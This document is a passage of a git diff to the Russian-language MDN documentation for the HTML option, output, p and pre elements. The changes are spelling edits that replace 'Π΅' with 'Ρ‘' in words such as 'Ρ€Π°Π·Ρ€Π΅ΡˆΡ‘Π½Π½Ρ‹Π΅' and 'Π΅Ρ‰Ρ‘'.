<td>ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ обязатСлСн. Π—Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»Π΅Π½ Ссли Π·Π° этим элСмСнтом слСдуСт Π΄Ρ€ΡƒΠ³ΠΎΠΉ элСмСнт <code>&lt;option&gt;</code>, ΠΈΠ»ΠΈ элСмСнт {{HTMLElement("optgroup")}}, ΠΈΠ»ΠΈ Ссли Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ большС содСрТимого.</td>
</tr>
<tr>
- <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</span></span></th>
+ <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</span></span></th>
<td>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("select")}},Β  элСмСнт {{HTMLElement("optgroup")}} ΠΈΠ»ΠΈ элСмСнт {{HTMLElement("datalist")}}.</td>
</tr>
<tr>
@@ -44,14 +44,14 @@ translation_of: Web/HTML/Element/option
<p>Как ΠΈ всС HTML элСмСнты, этот элСмСнт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹</a>.</p>
<dl>
- <dt>{{htmlattrdef("disabled")}} -- ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½(ΠΎ)</dt>
- <dd>Если этот Boolean Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ установлСн, эта опция нСдоступна для выдСлСния. Часто Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π²Ρ‹Π΄Π΅Π»ΡΡŽΡ‚Β Ρ‚Π°ΠΊΠΎΠΉ элСмСнт управлСния сСрым Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΈ Π΅ΠΌΡƒ нСдоступны Π»ΡŽΠ±Ρ‹Π΅ события Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Ρ‚Π°ΠΊΠΈΠ΅Β ΠΊΠ°ΠΊ ΠΊΠ»ΠΈΠΊΠΈ ΠΌΡ‹ΡˆΠΈ ΠΈΠ»ΠΈ события, связанныС с фокусировкой. Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ установлСн, этот элСмСнт всС Π΅Ρ‰Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ (ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ), Π΅ΡΠ»ΠΈΒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Β Π²Π½Π΅ΡˆΠ½ΠΈΠΉ(one of its ancestors) элСмСнт {{HTMLElement("optgroup")}}.</dd>
+ <dt>{{htmlattrdef("disabled")}} -- ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½(ΠΎ)</dt>
+ <dd>Если этот Boolean Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ установлСн, эта опция нСдоступна для выдСлСния. Часто Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π²Ρ‹Π΄Π΅Π»ΡΡŽΡ‚Β Ρ‚Π°ΠΊΠΎΠΉ элСмСнт управлСния сСрым Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΈ Π΅ΠΌΡƒ нСдоступны Π»ΡŽΠ±Ρ‹Π΅ события Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Ρ‚Π°ΠΊΠΈΠ΅Β ΠΊΠ°ΠΊ ΠΊΠ»ΠΈΠΊΠΈ ΠΌΡ‹ΡˆΠΈ ΠΈΠ»ΠΈ события, связанныС с фокусировкой. Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ установлСн, этот элСмСнт всС Π΅Ρ‰Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ (ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ), Π΅ΡΠ»ΠΈΒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Β Π²Π½Π΅ΡˆΠ½ΠΈΠΉ(one of its ancestors) элСмСнт {{HTMLElement("optgroup")}}.</dd>
<dt>{{htmlattrdef("label")}} -- ΠΌΠ΅Ρ‚ΠΊΠ°, ярлык</dt>
<dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ - тСкст ярлыка,Β ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠΉ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅(смысл, описаниС) ΠΎΠΏΡ†ΠΈΠΈ. Если <code>label</code> Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ (отсутствуСт), Ρ‚ΠΎ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ совпадаСт с тСкстовым содСрТаниСм элСмСнта <code>&lt;option&gt;</code>.</dd>
<dt>{{htmlattrdef("selected")}} -- Π²Ρ‹Π±Ρ€Π°Π½(ΠΎ)</dt>
<dd>(Если присутствуСт,) этот Boolean Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Ρ‚ΠΎ,Β Ρ‡Ρ‚ΠΎ опция ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π°. Если элСмСнт <code>&lt;option&gt;</code> принадлСТит элСмСнту {{HTMLElement("select")}},Β Ρ‡Π΅ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{htmlattrxref("multiple", "select")}}Β Π½Π΅ установлСн, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Π°-СдинствСнная <code>&lt;option&gt;</code> элСмСнта {{HTMLElement("select")}} ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>selected</code>Β .</dd>
<dt>{{htmlattrdef("value")}} -- Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Π°</dt>
- <dd>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅(содСрТаниС) этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚(прСдставляСт) Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, отправляСмоС Ρ„ΠΎΡ€ΠΌΠΎΠΉ, Ссли Π²Ρ‹Π±Ρ€Π°Π½Π°(Π²Ρ‹Π΄Π΅Π»Π΅Π½Π°) данная опция. Если (этот) Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β value отсутствуСт, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ бСрСтся ΠΈΠ· тСкстового содСрТания элСмСнта <code>&lt;option&gt;</code>.</dd>
+ <dd>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅(содСрТаниС) этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚(прСдставляСт) Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, отправляСмоС Ρ„ΠΎΡ€ΠΌΠΎΠΉ, Ссли Π²Ρ‹Π±Ρ€Π°Π½Π°(Π²Ρ‹Π΄Π΅Π»Π΅Π½Π°) данная опция. Если (этот) Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β value отсутствуСт, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ бСрётся ΠΈΠ· тСкстового содСрТания элСмСнта <code>&lt;option&gt;</code>.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/html/element/output/index.html b/files/ru/web/html/element/output/index.html
index ffd25be957..5018c97a0e 100644
--- a/files/ru/web/html/element/output/index.html
+++ b/files/ru/web/html/element/output/index.html
@@ -2,7 +2,7 @@
title: '<output>: Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π²Ρ‹Π²ΠΎΠ΄Π°'
slug: Web/HTML/Element/output
tags:
- - ВСрстка
+ - Вёрстка
- Π­Π»Π΅ΠΌΠ΅Π½Ρ‚
- Π²Ρ‹Π²ΠΎΠ΄
translation_of: Web/HTML/Element/output
@@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/output
<td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_listed">пСрСчисляСмыС</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_labelable">лэйбловыС</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_resettable">сбрасываСмыС Ρ„ΠΎΡ€ΠΌΠ°-ассоциированныС элСмСнты</a>, явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Π€Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
@@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/output
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>ВсС элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/p/index.html b/files/ru/web/html/element/p/index.html
index 166c1b2bd0..c74f0a6b76 100644
--- a/files/ru/web/html/element/p/index.html
+++ b/files/ru/web/html/element/p/index.html
@@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/p
---
<div>{{HTMLRef}}</div>
-<p><span class="seoSummary"><strong>HTML-элСмСнт <code>&lt;p&gt;</code></strong> прСдставляСт собой Π°Π±Π·Π°Ρ†.</span> Абзацы ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ прСдставлСны Π² Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ срСдС Π² Π²ΠΈΠ΄Π΅ Π±Π»ΠΎΠΊΠΎΠ² тСкста, ΠΎΡ‚Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΎΡ‚ сосСдних Π±Π»ΠΎΠΊΠΎΠ² пустыми строками ΠΈ/ΠΈΠ»ΠΈ отступом Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкС, ΠΊΡ€ΠΎΠΌΠ΅ этого HTML-Π°Π±Π·Π°Ρ†Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ собой ΡΡ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π½ΡƒΡŽ Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²ΠΊΡƒ ΠΎΠ΄Π½ΠΎΡ‚ΠΈΠΏΠ½ΠΎΠ³ΠΎ содСрТимого, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π΅ΠΉ Ρ„ΠΎΡ€ΠΌΡ‹.</p>
+<p><span class="seoSummary"><strong>HTML-элСмСнт <code>&lt;p&gt;</code></strong> прСдставляСт собой Π°Π±Π·Π°Ρ†.</span> Абзацы ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ прСдставлСны Π² Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ срСдС Π² Π²ΠΈΠ΄Π΅ Π±Π»ΠΎΠΊΠΎΠ² тСкста, ΠΎΡ‚Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΎΡ‚ сосСдних Π±Π»ΠΎΠΊΠΎΠ² пустыми строками ΠΈ/ΠΈΠ»ΠΈ отступом Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкС, ΠΊΡ€ΠΎΠΌΠ΅ этого HTML-Π°Π±Π·Π°Ρ†Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ собой ΡΡ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π½ΡƒΡŽ Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²ΠΊΡƒ ΠΎΠ΄Π½ΠΎΡ‚ΠΈΠΏΠ½ΠΎΠ³ΠΎ содСрТимого, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π΅ΠΉ Ρ„ΠΎΡ€ΠΌΡ‹.</p>
<p>Абзацы ΡΠ²Π»ΡΡŽΡ‚ΡΡ <a href="/ru/docs/Web/HTML/Block-level_elements">Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌΠΈ элСмСнтами</a> ΠΈ, Π² частности, автоматичСски Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ, Ссли Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ элСмСнт находится ΠΏΠ΅Ρ€Π΅Π΄ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ Ρ‚Π΅Π³ΠΎΠΌ <code>&lt;/p&gt;</code>. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Π½ΠΈΠΆΠ΅ "ΠŸΡ€ΠΎΠΏΡƒΡΠΊ Ρ‚Π΅Π³Π°".</p>
@@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/p
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π―Π²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Π€Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
@@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/p
<td>ВрСбуСтся ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³. Π—Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½, Ссли Π·Π° элСмСнтом {{HTMLElement("p")}} сразу слСдуСт элСмСнт {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hr")}}, {{HTMLElement("menu")}}, {{HTMLElement("nav")}}, {{HTMLElement("ol")}}, {{HTMLElement("pre")}}, {{HTMLElement("section")}}, {{HTMLElement("table")}}, {{HTMLElement("ul")}} ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ элСмСнт {{HTMLElement("p")}}, ΠΈΠ»ΠΈ Ссли Π² Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ элСмСнтС большС Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ содСрТится ΠΈ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт Π½Π΅ являСтся элСмСнтом {{HTMLElement("a")}}.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ <a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a> Π² качСствС содСрТимого.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>Π›ΡŽΠ±Ρ‹Π΅</td>
</tr>
<tr>
@@ -161,7 +161,7 @@ p.pilcrow + p.pilcrow::before {
<tr>
<td>{{SpecName('HTML WHATWG', 'semantics.html#the-p-element', '&lt;p&gt;')}}</td>
<td>{{Spec2('HTML WHATWG')}}</td>
- <td>НСт ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ с послСднСго "snapshot" (ΡΠ½Π°ΠΏΡˆΠΎΡ‚ ΠΈΠ»ΠΈ снимок - состояниС сохранСнноС Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ) {{SpecName("HTML5 W3C")}}</td>
+ <td>НСт ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ с послСднСго "snapshot" (ΡΠ½Π°ΠΏΡˆΠΎΡ‚ ΠΈΠ»ΠΈ снимок - состояниС сохранённоС Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ) {{SpecName("HTML5 W3C")}}</td>
</tr>
<tr>
<td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-p-element', '&lt;p&gt;')}}</td>
diff --git a/files/ru/web/html/element/pre/index.html b/files/ru/web/html/element/pre/index.html
index 70a3b05b1f..be57b57be9 100644
--- a/files/ru/web/html/element/pre/index.html
+++ b/files/ru/web/html/element/pre/index.html
@@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/pre
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D0%BE%D0%B9_%D0%BF%D0%BE%D1%82%D0%BE%D0%BA">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%AF%D0%B2%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BD%D1%82">Π―Π²Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a></td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Π€Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a></td>
</tr>
<tr>
@@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/pre
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ <a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D0%BE%D0%B9_%D0%BF%D0%BE%D1%82%D0%BE%D0%BA">содСрТимоС ΠΏΠΎΡ‚ΠΎΠΊΠ°</a></td>
</tr>
<tr>
@@ -39,7 +39,7 @@ translation_of: Web/HTML/Element/pre
<td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">НСт ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Ρ€ΠΎΠ»ΠΈ</a></td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>Π›ΡŽΠ±Ρ‹Π΅</td>
</tr>
<tr>
@@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/pre
<dt>{{htmlattrdef("cols")}} {{non-standard_inline}}{{obsolete_inline}}</dt>
<dd>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚ <em>ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅</em> количСство символов, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΈΠΌΠ΅Ρ‚ΡŒ строка. Π­Ρ‚ΠΎ Π±Ρ‹Π» нСстандартный синоним {{htmlattrxref("width", "pre")}}. Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ Ρ‚Π°ΠΊΠΎΠ³ΠΎ эффСкта, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ CSS {{Cssxref("width")}}.</dd>
<dt>{{htmlattrdef("width")}} {{obsolete_inline}}</dt>
- <dd>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚ <em>ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅</em> количСство символов, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΈΠΌΠ΅Ρ‚ΡŒ строка. Π₯отя тСхничСски ΠΎΠ½ всС Π΅Ρ‰Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½, этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ эффСкта; Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ Ρ‚Π°ΠΊΠΎΠ³ΠΎ эффСкта, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ CSS {{Cssxref("width")}}.</dd>
+ <dd>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚ <em>ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅</em> количСство символов, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΈΠΌΠ΅Ρ‚ΡŒ строка. Π₯отя тСхничСски ΠΎΠ½ всС Π΅Ρ‰Ρ‘ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½, этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ эффСкта; Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ Ρ‚Π°ΠΊΠΎΠ³ΠΎ эффСкта, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ CSS {{Cssxref("width")}}.</dd>
<dt>{{htmlattrdef("wrap")}} {{non-standard_inline}}</dt>
